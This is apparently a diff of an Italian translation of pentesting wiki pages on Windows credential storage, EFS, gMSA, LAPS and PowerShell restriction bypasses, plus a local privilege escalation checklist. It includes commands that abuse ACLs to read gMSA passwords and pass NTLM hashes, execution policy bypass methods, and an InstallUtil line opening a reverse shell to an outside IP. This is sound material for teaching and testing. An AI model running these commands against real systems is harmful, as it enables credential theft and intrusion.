## Memorizzazione delle credenziali
|
||||
## Credentials Storage
|
||||
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
@ -48,9 +48,9 @@ Le credenziali locali sono presenti in questo file, le password sono memorizzate
|
||||
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
|
||||
Le **credenziali** (in forma di hash) sono **salvate** nella **memoria** di questo sottosistema per ragioni di Single Sign-On.\
|
||||
**LSA** amministra la **politica di sicurezza** locale (politica delle password, permessi utenti...), **autenticazione**, **token di accesso**...\
|
||||
LSA sarà quello che **verificherà** le credenziali fornite all'interno del file **SAM** (per un login locale) e **comunicherà** con il **domain controller** per autenticare un utente di dominio.
|
||||
Le **credenziali** (in forma di hash) vengono **salvate** nella **memoria** di questo sottosistema per motivi di Single Sign-On.\
|
||||
**LSA** amministra la **security policy** locale (password policy, permessi degli utenti...), **authentication**, **access tokens**...\
|
||||
LSA sarà quello che **controllerà** le credenziali fornite all'interno del file **SAM** (per un login locale) e **comunicherà** con il **domain controller** per autenticare un utente di dominio.
|
||||
|
||||
Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket Kerberos, hash NT e LM, password facilmente decriptabili.
|
||||
|
||||
@ -59,19 +59,19 @@ Le **credenziali** sono **salvate** all'interno del **processo LSASS**: ticket K
|
||||
LSA può salvare su disco alcune credenziali:
|
||||
|
||||
- Password dell'account computer dell'Active Directory (domain controller non raggiungibile).
|
||||
- Password degli account dei servizi Windows
|
||||
- Password per le attività pianificate
|
||||
- Password degli account dei servizi di Windows
|
||||
- Password delle attività pianificate
|
||||
- Altro (password di applicazioni IIS...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
È il database di Active Directory. È presente solo nei Domain Controller.
|
||||
È il database dell'Active Directory. È presente solo nei Domain Controllers.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un antivirus disponibile in Windows 10 e Windows 11, e in versioni di Windows Server. Blocca tool comuni di pentesting come **`WinPEAS`**. Tuttavia, esistono modi per bypassare queste protezioni.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un antivirus disponibile in Windows 10 e Windows 11, e in versioni di Windows Server. Blocca strumenti comuni di pentesting come **`WinPEAS`**. Tuttavia, ci sono modi per eludere queste protezioni.
|
||||
|
||||
### Verifica
|
||||
### Check
|
||||
|
||||
Per verificare lo **stato** di **Defender** puoi eseguire il cmdlet PS **`Get-MpComputerStatus`** (controlla il valore di **`RealTimeProtectionEnabled`** per sapere se è attivo):
|
||||
|
||||
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
|
||||
PSComputerName :
|
||||
</code></pre>
|
||||
|
||||
Per enumerarlo potresti anche eseguire:
|
||||
Per enumerarlo puoi anche eseguire:
|
||||
```bash
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||
@ -103,36 +103,36 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS protegge i file tramite crittografia, utilizzando una **symmetric key** nota come **File Encryption Key (FEK)**. Questa key viene criptata con la **public key** dell'utente e memorizzata nello $EFS **alternative data stream** del file criptato. Quando è necessaria la decrittazione, la corrispondente **private key** del certificato digitale dell'utente viene usata per decriptare il FEK dallo $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS protegge i file tramite crittografia, utilizzando una **chiave simmetrica** nota come **File Encryption Key (FEK)**. Questa chiave viene crittografata con la **chiave pubblica** dell'utente e memorizzata nello $EFS **alternative data stream** del file crittografato. Quando è necessaria la decrittazione, la corrispondente **chiave privata** del certificato digitale dell'utente viene usata per decrittare il FEK dal flusso $EFS. Maggiori dettagli sono disponibili [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scenari di decrittazione senza iniziativa dell'utente** includono:
|
||||
**Scenari di decrittazione senza l'iniziativa dell'utente** includono:
|
||||
|
||||
- Quando file o cartelle vengono spostati su un file system non-EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittati.
|
||||
- File criptati inviati in rete tramite il protocollo SMB/CIFS vengono decrittati prima della trasmissione.
|
||||
- I file crittografati inviati attraverso la rete via protocollo SMB/CIFS vengono decrittati prima della trasmissione.
|
||||
|
||||
Questo metodo di crittografia permette un **transparent access** ai file criptati per il proprietario. Tuttavia, semplicemente cambiare la password del proprietario e fare logon non consentirà la decrittazione.
|
||||
Questo metodo di crittografia permette **accesso trasparente** ai file crittografati al proprietario. Tuttavia, semplicemente cambiando la password del proprietario e effettuando il login non si potrà decrittare.
|
||||
|
||||
### Key Takeaways
|
||||
Punti chiave:
|
||||
|
||||
- EFS usa un FEK symmetric, criptato con la public key dell'utente.
|
||||
- La decrittazione impiega la private key dell'utente per accedere al FEK.
|
||||
- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione in rete.
|
||||
- I file criptati sono accessibili al proprietario senza passaggi aggiuntivi.
|
||||
- EFS usa un FEK simmetrico, crittografato con la chiave pubblica dell'utente.
|
||||
- La decrittazione impiega la chiave privata dell'utente per accedere al FEK.
|
||||
- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione di rete.
|
||||
- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
|
||||
|
||||
### Check EFS info
|
||||
|
||||
Verificare se un **user** ha **used** questo **service** controllando se esiste questo percorso:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
Verifica se un **utente** ha **usato** questo **servizio** controllando se esiste questo percorso: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Check **who** has **access** to the file using cipher /c \<file\>
|
||||
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
|
||||
Controlla **chi** ha **accesso** al file usando cipher /c \<file>\
|
||||
Puoi anche usare `cipher /e` e `cipher /d` all'interno di una cartella per **encrypt** e **decrypt** tutti i file
|
||||
|
||||
### Decrypting EFS files
|
||||
|
||||
#### Being Authority System
|
||||
#### Ottenere privilegi SYSTEM
|
||||
|
||||
Questo metodo richiede che la **victim user** stia **running** un **process** sul host. Se è così, usando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` from `incognito`). Oppure puoi semplicemente `migrate` al processo dell'utente.
|
||||
Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo** sull'host. Se è così, usando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` da `incognito`). Oppure puoi semplicemente `migrate` al processo dell'utente.
|
||||
|
||||
#### Knowing the users password
|
||||
#### Conoscere la password dell'utente
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -141,64 +141,64 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft ha sviluppato le **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'opzione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
|
||||
Microsoft ha sviluppato le **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password never expire**" abilitata, le gMSA offrono una soluzione più sicura e gestibile:
|
||||
|
||||
- **Automatic Password Management**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla policy di dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali della password.
|
||||
- **Enhanced Security**: questi account sono immuni ai lockout e non possono essere utilizzati per interactive logins, aumentando la sicurezza.
|
||||
- **Multiple Host Support**: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
|
||||
- **Scheduled Task Capability**: a differenza dei managed service accounts, i gMSA supportano l'esecuzione di scheduled tasks.
|
||||
- **Simplified SPN Management**: il sistema aggiorna automaticamente lo Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
|
||||
- **Gestione automatica delle password**: le gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla policy di dominio o computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
|
||||
- **Sicurezza migliorata**: questi account sono immuni dai lockout e non possono essere usati per login interattivi, aumentando la loro sicurezza.
|
||||
- **Supporto per più host**: le gMSA possono essere condivise su più host, rendendole ideali per servizi che girano su più server.
|
||||
- **Capacità per Scheduled Task**: a differenza dei managed service accounts, le gMSA supportano l'esecuzione di scheduled task.
|
||||
- **Semplificazione della gestione SPN**: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono cambiamenti nei dettagli sAMaccount del computer o nel nome DNS, semplificando la gestione degli SPN.
|
||||
|
||||
Le password per i gMSA sono memorizzate nella proprietà LDAP _**msDS-ManagedPassword**_ e vengono automaticamente resettate ogni 30 giorni dai Domain Controllers (DCs). Questa password, un blob di dati criptati noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo dagli amministratori autorizzati e dai server sui quali i gMSA sono installati, garantendo un ambiente sicuro. Per accedere a queste informazioni è richiesta una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
|
||||
Le password per le gMSA sono memorizzate nell'attributo LDAP _**msDS-ManagedPassword**_ e vengono resettate automaticamente ogni 30 giorni dai Domain Controllers (DC). Questa password, un blob di dati crittografati noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo dagli amministratori autorizzati e dai server su cui le gMSA sono installate, garantendo un ambiente sicuro. Per accedere a queste informazioni è necessaria una connessione protetta come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
|
||||
|
||||
|
||||
|
||||
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
Puoi leggere questa password con [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
[**Maggiori informazioni in questo post**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Inoltre, dai un'occhiata a questa [web page](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire un **NTLM relay attack** per **read** la **password** del **gMSA**.
|
||||
Inoltre, consulta questa [pagina web](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire una **NTLM relay attack** per **read** la **password** di **gMSA**.
|
||||
|
||||
### Abuso della catena ACL per leggere la password gestita di gMSA (GenericAll -> ReadGMSAPassword)
|
||||
### Abusing ACL chaining per leggere la password gestita di gMSA (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
In molti ambienti, utenti a basso privilegio possono pivotare verso i segreti gMSA senza compromettere il DC abusando di ACL di oggetti mal configurati:
|
||||
In molti ambienti, utenti con pochi privilegi possono pivot verso i segreti gMSA senza compromettere il DC abusando di ACL di oggetti mal configurate:
|
||||
|
||||
- Un gruppo che puoi controllare (es. tramite GenericAll/GenericWrite) riceve `ReadGMSAPassword` su un gMSA.
|
||||
- Aggiungendoti a quel gruppo, erediti il diritto di leggere il blob `msDS-ManagedPassword` del gMSA tramite LDAP e derivare credenziali NTLM utilizzabili.
|
||||
- Un gruppo che puoi controllare (p.es., tramite GenericAll/GenericWrite) ha il permesso `ReadGMSAPassword` su una gMSA.
|
||||
- Aggiungendoti a quel gruppo, erediti il diritto di leggere il blob `msDS-ManagedPassword` della gMSA via LDAP e ricavare credenziali NTLM utilizzabili.
|
||||
|
||||
Flusso di lavoro tipico:
|
||||
Workflow tipico:
|
||||
|
||||
1) Scopri il percorso con BloodHound e marca i tuoi foothold principals come Owned. Cerca archi come:
|
||||
1) Individua il percorso con BloodHound e marca i tuoi foothold principals come Owned. Cerca edges come:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Aggiungiti al gruppo intermedio che controlli (esempio con bloodyAD):
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
3) Leggi la password gestita del gMSA tramite LDAP e ricava l'hash NTLM. NetExec automatizza l'estrazione di `msDS-ManagedPassword` e la conversione in NTLM:
|
||||
3) Leggere la password gestita del gMSA tramite LDAP e derivare l'hash NTLM. NetExec automatizza l'estrazione di `msDS-ManagedPassword` e la conversione in NTLM:
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
4) Autenticarsi come gMSA utilizzando l'hash NTLM (non è necessario plaintext). Se l'account è in Remote Management Users, WinRM funzionerà direttamente:
|
||||
4) Autenticarsi come il gMSA utilizzando l'hash NTLM (non serve il plaintext). Se l'account è in Remote Management Users, WinRM funzionerà direttamente:
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
Note:
|
||||
- Le letture LDAP di `msDS-ManagedPassword` richiedono sealing (es., LDAPS/sign+seal). Gli strumenti gestiscono questo automaticamente.
|
||||
- Alle gMSAs vengono spesso concessi diritti locali come WinRM; verifica l'appartenenza ai gruppi (es., Remote Management Users) per pianificare il lateral movement.
|
||||
- Le letture LDAP di `msDS-ManagedPassword` richiedono sealing (es., LDAPS/sign+seal). Gli strumenti lo gestiscono automaticamente.
|
||||
- gMSAs ricevono spesso diritti locali come WinRM; verifica l'appartenenza ai gruppi (es., Remote Management Users) per pianificare il movimento laterale.
|
||||
- Se hai bisogno solo del blob per calcolare l'NTLM da solo, vedi la struttura MSDS-MANAGEDPASSWORD_BLOB.
|
||||
|
||||
|
||||
|
||||
## LAPS
|
||||
|
||||
La **Local Administrator Password Solution (LAPS)**, scaricabile da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password dell'amministratore locale. Queste password, che sono **randomizzate**, uniche e **regolarmente cambiate**, sono archiviate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACLs agli utenti autorizzati. Con permessi sufficienti è possibile leggere le password dell'amministratore locale.
|
||||
La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password dell'amministratore locale. Queste password, che sono **randomizzate**, uniche e **regolarmente cambiate**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è ristretto tramite ACL agli utenti autorizzati. Se vengono concesse autorizzazioni sufficienti, è possibile leggere le password degli amministratori locali.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -207,7 +207,7 @@ La **Local Administrator Password Solution (LAPS)**, scaricabile da [Microsoft](
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per usare PowerShell efficacemente, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, workflow basati su XAML, classi PowerShell e altro.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **limita molte delle funzionalità** necessarie per usare PowerShell in modo efficace, come il blocco degli oggetti COM, il consentire solo tipi .NET approvati, i workflow basati su XAML, le classi PowerShell e altro.
|
||||
|
||||
### **Verifica**
|
||||
```bash
|
||||
@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
Nei Windows attuali quel Bypass non funzionerà ma puoi usare[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Per compilarlo potresti dover** **di** _**Aggiungere un riferimento**_ -> _Sfoglia_ ->_Sfoglia_ -> aggiungere `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**.
|
||||
Nelle versioni attuali di Windows quel Bypass non funzionerà ma puoi usare [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Per compilarlo potresti aver bisogno** **di** _**Aggiungere un riferimento**_ -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambia il progetto a .Net4.5**.
|
||||
|
||||
#### Bypass diretto:
|
||||
```bash
|
||||
@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la constrained mode. Per maggiori informazioni vedi: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la modalità constrained. Per maggiori informazioni consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## Politica di esecuzione PS
|
||||
## Policy di esecuzione PS
|
||||
|
||||
Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa policy:
|
||||
Per impostazione predefinita è impostata su **restricted.** Principali modi per bypassare questa policy:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
Maggiori informazioni si trovano [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
Maggiori informazioni possono essere trovate [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
È l'API che può essere usata per autenticare gli utenti.
|
||||
|
||||
Lo SSPI sarà responsabile di trovare il protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà usato; questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), sono presenti su ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
|
||||
Lo SSPI si occuperà di trovare il protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà usato; questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
|
||||
|
||||
### Principali SSP
|
||||
|
||||
- **Kerberos**: Il preferito
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** e **NTLMv2**: Per motivi di compatibilità
|
||||
- **NTLMv1** and **NTLMv2**: Per motivi di compatibilità
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Web servers e LDAP, password in forma di hash MD5
|
||||
- **Digest**: Web server e LDAP, password in forma di hash MD5
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL e TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: Usato per negoziare il protocollo da usare (Kerberos o NTLM, con Kerberos come predefinito)
|
||||
- **Negotiate**: Utilizzato per negoziare il protocollo da usare (Kerberos o NTLM, con Kerberos come predefinito)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### La negoziazione potrebbe offrire diversi metodi o solo uno.
|
||||
|
||||
## UAC - User Account Control
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita una **richiesta di consenso per attività elevate**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **prompt di consenso per attività con privilegi elevati**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -1,18 +1,18 @@
|
||||
# Lista di controllo - escalation dei privilegi locali su Windows
|
||||
# Lista di controllo - Local Windows Privilege Escalation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Miglior strumento per cercare vettori di privilege escalation locale su Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Miglior strumento per cercare vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Ottenere [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Cercare **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usare **Google** per cercare exploit del **kernel**
|
||||
- [ ] Usare **searchsploit** per cercare exploit del **kernel**
|
||||
- [ ] Informazioni interessanti in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Usa **Google per cercare** exploit del kernel
|
||||
- [ ] Usa **searchsploit** per cercare exploit del kernel
|
||||
- [ ] Informazioni interessanti nelle [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Password nella [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Informazioni interessanti in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] Informazioni interessanti nelle [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
@ -20,75 +20,75 @@
|
||||
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Controllare le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Controllare [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Verificare se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo
|
||||
- [ ] Controlla le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Controlla [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Verifica se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Controllare se è presente qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] Controlla se c'è qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Controllare i privilegi dell'utente **corrente** (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Controlla i [**privilegi**] utente **correnti** (current) (windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Sei [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Verificare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] Verifica se hai abilitati uno di questi token: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Controllare [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?)
|
||||
- [ ] Controllare la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Cosa c'è [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] Controlla i[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?)
|
||||
- [ ] Controlla la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Cosa c'è [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Controllare le informazioni **network** **correnti** (current)
|
||||
- [ ] Controllare i servizi locali nascosti limitati all'esterno
|
||||
- [ ] Controlla le **informazioni di rete** **correnti** (windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Controlla **servizi locali nascosti** esposti verso l'esterno
|
||||
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Permessi di file e cartelle dei binari dei processi [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] Permessi su file e cartelle dei processi (binaries) [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...)
|
||||
- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] [Puoi **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Puoi **modify** il **binary** che viene **eseguito** da qualche **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Puoi **modify** il **registry** di qualche **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Puoi sfruttare qualche **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] Puoi **modificare qualche service**? (Can you **modify any service**?)
|
||||
- [ ] Puoi **modificare** la **binary** eseguita da qualche **service**? (Can you **modify** the **binary** that is **executed** by any **service**?)
|
||||
- [ ] Puoi **modificare** il **registry** di qualche **service**? (Can you **modify** the **registry** of any **service**?)
|
||||
- [ ] Puoi sfruttare qualche **unquoted service** binary **path**? (Can you take advantage of any **unquoted service** binary **path**?)
|
||||
|
||||
